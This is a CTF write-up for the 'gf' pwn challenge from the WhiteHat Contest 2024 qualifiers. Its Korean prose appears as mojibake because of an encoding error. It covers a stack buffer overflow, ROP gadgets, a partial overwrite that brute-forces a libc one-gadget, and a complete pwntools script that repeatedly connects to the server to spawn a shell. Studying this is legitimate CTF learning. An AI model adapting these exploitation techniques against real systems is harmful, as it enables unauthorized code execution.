WhiteHat Contest 2024 Quals - gf

0x00. Introduction

[*] '/home/user/gf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

๊ฐ€์ ฏ ์ด๋ฆฌ ์ €๋ฆฌ ์กฐํ•ฉํ•˜๋‹ค๊ฐ€ ๋งค๋ชฐ๋˜์–ด๋ฒ„๋ฆฐ ๋ฌธ์ œ. ์ข…๋ฃŒ 20๋ถ„ ์ „์— ์•Œ์•„๋ฒ„๋ ธ๋‹คโ€ฆ

0x01. Vulnerability

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char dest[16]; // [rsp+10h] [rbp-10h] BYREF

  setbuf_4011A5();
  read(0, &unk_404060, 0xBCuLL);
  memcpy(dest, &unk_404060, 0xBBuLL);
  return 1LL;
}

16๋ฐ”์ดํŠธ dest์— 0xbc๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›๋Š” ๋‹จ์ˆœํ•œ BOF ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.

0x02. Exploit

์ถœ๋ ฅ ํ•จ์ˆ˜๋Š” ์ปค๋…• ROP๋ฅผ ํ•˜๊ธฐ ์œ„ํ•œ ๊ฐ€์ ฏ์ด ํ•˜๋‚˜๋„ ์—†๋‹ค. ๊ทธ๋Ÿฌ๋‹ค๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ณด๊ณ  ํžŒํŠธ๋ฅผ ์–ป์—ˆ๋‹ค.

gefโžค  x/4gx $rsp + 0xb0
0x7fffffffed00: 0x0000000000000000      0x0000000000000000
0x7fffffffed10: 0x0000000000000000      0x00007ffff7000000

read()์˜ ๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์ธ dest + 0xb8 ๊ทผ์ฒ˜๋ฅผ ๋ณด๋ฉด ๋งค์šฐ ์ˆ˜์ƒํ•˜๊ฒŒ libc ์ฃผ์†Œ์˜ ์ผ๋ถ€๊ฐ€ ์žˆ๋‹ค.

ํ•˜์œ„ 3๋ฐ”์ดํŠธ๊ฐ€ 0x00์œผ๋กœ ๋˜์–ด์žˆ๋Š”๋ฐ, ๋”ฑ ์ด ๋ถ€๋ถ„๊นŒ์ง€ ์“ธ ์ˆ˜ ์žˆ๋‹ค.

gefโžค  x/4gx $rsp + 0xb0
0x7fffffffed00: 0x4141414141414141      0x4141414141414141
0x7fffffffed10: 0x4141414141414141      0x00007ffff7434241

๋”ฐ๋ผ์„œ libc leak ์—†์ด ์ด ๋ถ€๋ถ„์„ ์ด์šฉํ•ด์„œ ์˜ˆ์ƒ๋˜๋Š” one shot ๊ฐ€์ ฏ ์ฃผ์†Œ๋ฅผ ๋งŒ๋“ค์–ด๋‘๊ณ  ASLR์— ์˜ํ•ด ํ™•๋ฅ ์ ์œผ๋กœ ํ•ด๋‹น ์ฃผ์†Œ์— ์ง„์งœ one shot ๊ฐ€์ ฏ์ด ๋กœ๋“œ๋˜๊ธธ ๊ธฐ๋Œ€ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

main()์—์„œ return์„ ํ•  ๋•Œ์˜ ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’๋“ค์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

$rax   : 0x1
$rbx   : 0x0
$rcx   : 0x0000000000404060  โ†’  "AAAAAAAAAAAAAAAA\n"
$rdx   : 0xbb
$rsp   : 0x00007fffffffec98  โ†’  0x0000000000000000
$rbp   : 0xa
$rsi   : 0x0000000000404060  โ†’  "AAAAAAAAAAAAAAAA\n"
$rdi   : 0x00007fffffffec80  โ†’  "AAAAAAAAAAAAAAAA\n"
$rip   : 0x0000000000401281  โ†’   ret
$r8    : 0x00007ffff7fabf10  โ†’  0x0000000000000004
$r9    : 0x00007ffff7fc9040  โ†’  0xe5894855fa1e0ff3
$r10   : 0x00007ffff7fc3908  โ†’  0x000d00120000000e
$r11   : 0x246
$r12   : 0x00007fffffffeda8  โ†’  0x00007fffffffef5c  โ†’  0x3d48544150006667 ("gf"?)
$r13   : 0x000000000040122a  โ†’   endbr64
$r14   : 0x0000000000403dc0  โ†’  0x0000000000401160  โ†’   endbr64
$r15   : 0x00007ffff7ffd040  โ†’  0x00007ffff7ffe2e0  โ†’  0x0000000000000000

์ด ์ƒํƒœ์—์„œ one shot ๊ฐ€์ ฏ ์กฐ๊ฑด์„ ๋งž์ถฐ์ค˜์•ผํ•˜๋Š”๋ฐ ๊ฐ€์ ฏ๋งŒ ๋ช‡ ์‹œ๊ฐ„์„ ๋ดค๋”๋‹ˆ ๋ฐ”๋กœ ๋ฐฉ๋ฒ•์ด ๋– ์˜ฌ๋ž๋‹ค.

โžœ  one_gadget libc.so.6
...
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
...

One shot ๊ฐ€์ ฏ ์ค‘ ์œ„์™€ ๊ฐ™์ด rsi, rdx์— ์กฐ๊ฑด์ด ๊ฑธ๋ ค์žˆ๋Š” ๊ฐ€์ ฏ์ด ์žˆ์—ˆ๊ณ  ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์žˆ๋Š” ๊ฐ€์ ฏ์ค‘ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ๋“ค์ด ์žˆ๋‹ค.

โžœ  objdump -M intel -d gf
...
# shift_rsi_ret gadget
  40112c:       48 89 f0                mov    rax,rsi
  40112f:       48 c1 ee 3f             shr    rsi,0x3f
  401133:       48 c1 f8 03             sar    rax,0x3
  401137:       48 01 c6                add    rsi,rax
  40113a:       48 d1 fe                sar    rsi,1
  40113d:       74 11                   je     401150 <setvbuf@plt+0xb0>
  40113f:       b8 00 00 00 00          mov    eax,0x0
  401144:       48 85 c0                test   rax,rax
  401147:       74 07                   je     401150 <setvbuf@plt+0xb0>
  401149:       bf 10 40 40 00          mov    edi,0x404010
  40114e:       ff e0                   jmp    rax
  401150:       c3                      ret
...
# pop_rsi_pop_rdx_push_rsi_ret gadget
  40119e:       5e                      pop    rsi
  40119f:       5a                      pop    rdx
  4011a0:       56                      push   rsi
  4011a1:       c3                      ret

์šฐ์„  rdx๋Š” pop_rsi_pop_rdx_push_rsi_ret ๊ฐ€์ ฏ์„ ํ†ตํ•ด ์ปจํŠธ๋กค์ด ๊ฐ€๋Šฅํ•˜๊ณ  ์–ด๋–ค ์˜๋„์ธ์ง€๋Š” ๋ชจ๋ฅด๊ฒ ์œผ๋‚˜ shift_rsi_ret ๊ฐ€์ ฏ์„ ํ†ตํ•ด rsi๋ฅผ 0.5๋ฐ”์ดํŠธ์”ฉ right shift ํ•  ์ˆ˜ ์žˆ๋‹ค. rsi์—๋Š” 0x404060๊ฐ€ ์ €์žฅ๋˜์–ด์žˆ์œผ๋ฏ€๋กœ shift_rsi_ret ๊ฐ€์ ฏ์„ 6๋ฒˆ ํ˜ธ์ถœํ•˜๋ฉด rsi๋ฅผ 0์œผ๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

์ถ”๊ฐ€๋กœ rbp-0x78๊ฐ€ writable ํ•ด์•ผํ•˜๋Š” ์กฐ๊ฑด์ด ์žˆ๋Š”๋ฐ ๋Œ€์ถฉ Data ์˜์—ญ์˜ ์ค‘๊ฐ„์ธ 0x404800์œผ๋กœ ์„ค์ •ํ•ด์ฃผ์—ˆ๋‹ค.

ํ™•๋ฅ ์„ ๊ณ„์‚ฐํ•ด๋ณด๋ฉด 0x7ffff7XXXc88๊ฐ€ ์‹ค์ œ๋กœ one shot ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ์—ฌ์•ผํ•˜๋ฏ€๋กœ 1.5๋ฐ”์ดํŠธ, ์ฆ‰ 1/4096 ํ™•๋ฅ ๋กœ exploit์ด ์„ฑ๊ณตํ•œ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ์˜ˆ์„ ์ด ๋๋‚˜๊ณ  ๋‹ค๋ฅธ ๋ถ„์˜ exploit์„ ๋ณด๋‹ˆ 100% exploit์— ์„ฑ๊ณตํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์—ˆ๋‹ค. ๋ชฐ๋ž๋˜ ๋‚ด์šฉ์ด๊ธฐ๋„ ํ•˜๊ณ  ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™์•„์„œ ๋”ฐ๋กœ ํฌ์ŠคํŒ…ํ•˜๊ฒ ๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "gf"
LIBRARY = "libc.so.6"
CONTAINER = "5189692c7e21"
bp = {
    'main_ret' : 0x401281,
}

gs = f'''
b *{bp["main_ret"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        # s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    shift_rsi_ret = 0x40112c
    pop_rsi_pop_rdx_push_rsi_ret = 0x40119e

    payload = b"A" * 0x10
    payload += p64(0x404800)
    payload += p64(pop_rsi_pop_rdx_push_rsi_ret)
    payload += p64(shift_rsi_ret)
    payload += p64(0)
    payload += p64(shift_rsi_ret) * 5
    payload += p64(bp['main_ret']) * ((0xb8 - len(payload)) // 8)
    payload += b"\x88\xac\x4b"      # 0x754c18 4b ac 88

    while 1:
        s = remote(server, port)
        s.sendline(payload)
        try:
            sleep(0.2)
            s.sendline(b"id")
            r = s.recvline(timeout=1)
            if b"(pwn)" in r:
                log.success(f"id : {r}")
                s.interactive()
                s.close()
            else:
                log.info(r)
        except Exception as e:
            log.failure(e)
            s.close()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)